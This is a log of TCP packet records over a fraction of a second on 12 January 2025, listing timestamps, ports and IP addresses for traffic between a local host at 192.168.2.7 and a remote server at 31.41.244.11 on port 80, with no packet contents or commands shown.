Jan 12, 2025 17:39:09.526145935 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.526145935 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.526170969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.526212931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.526212931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.526221991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.526256084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.526298046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.526298046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.532510042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.532543898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.532581091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.532598972 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.532598972 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.532630920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.532641888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.532665014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.532687902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.532716990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.532748938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.532761097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.532761097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.532794952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.532799959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.532833099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.532865047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.532875061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.532875061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.532898903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.532932043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.532943964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.532943964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.532964945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.532999039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.533020020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.533020020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.533253908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.570292950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.570303917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.570322990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.570337057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.570348024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.570358038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.570379019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.570385933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.570398092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.570409060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.570441008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.570441008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.570481062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.570512056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.570523977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.570535898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.570549011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.570559025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.570560932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.570574045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.570586920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.570588112 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.570624113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571037054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571048975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571059942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571070910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571090937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571101904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571101904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571101904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571114063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571125984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571136951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571146011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571146011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571154118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571172953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571198940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571209908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571209908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571209908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571228981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571239948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571244955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571249962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571258068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571291924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571295977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571307898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571335077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571336985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571346998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571361065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571391106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571413040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571696043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571707010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571719885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571737051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571747065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571755886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571755886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571758032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571770906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571795940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571796894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571822882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571831942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571850061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571861982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571881056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571885109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571885109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571892023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571899891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571903944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.571919918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571938992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.571938992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572066069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572077036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572092056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572102070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572103977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572113991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572124958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572134972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572139025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572139025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572146893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572159052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572182894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572182894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572206974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572495937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572508097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572525978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572536945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572547913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572550058 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572550058 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572561026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572582006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572582006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572622061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572655916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572673082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572684050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572693110 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572695971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572705030 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572707891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572726965 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572737932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572738886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572738886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572750092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572768927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572768927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572803974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572803974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572822094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572833061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572844028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572854042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572856903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572873116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572895050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572906017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572916985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572933912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572933912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572947025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572958946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572971106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.572983980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.572983980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.573012114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.573024035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.573035002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.573045969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.573050976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.573050976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.573103905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.573124886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.611990929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.612004995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.612015009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.612086058 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.612086058 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.612138987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.612159014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.612176895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.612188101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.612195015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.612195015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.612200022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.612211943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.612226963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.612226963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.612232924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.612248898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.612261057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.612262011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.612261057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.612276077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.612289906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.612293959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.612293959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.612302065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.612313032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.612339020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.612339020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.612354040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.618787050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.618813038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.618834019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.618844986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.618848085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.618856907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.618870974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.618882895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.618891954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.618908882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.618908882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.618912935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.618927002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.618943930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.618954897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.618978024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.618988991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.618989944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.618999958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.619013071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.619014025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.619033098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.619060993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.619085073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.619096041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.619138002 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.656856060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.656883001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.656894922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.656907082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.656919003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.656930923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.656932116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.656932116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.656949043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.656963110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.656975031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.656984091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.656986952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657013893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657025099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657027006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657027006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657037020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657049894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657079935 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657079935 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657207012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657218933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657229900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657247066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657247066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657279015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657279968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657315969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657340050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657351017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657356977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657360077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657370090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657409906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657411098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657449007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657459974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657470942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657483101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657494068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657502890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657502890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657522917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657532930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657550097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657556057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657556057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657562017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657568932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657581091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657593966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657593966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657696962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657707930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657716990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657721996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657736063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657764912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657764912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657813072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657933950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657946110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657957077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.657991886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.657991886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658015966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658035040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658046007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658068895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658078909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658078909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658080101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658092022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658109903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658109903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658157110 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658189058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658200026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658210993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658222914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658235073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658247948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658261061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658261061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658292055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658292055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658337116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658348083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658359051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658370018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658381939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658391953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658421993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658421993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658601999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658679962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658691883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658704042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.658744097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658745050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.658746004 CET	80	49975	31.41.244.11	192.168.2.7
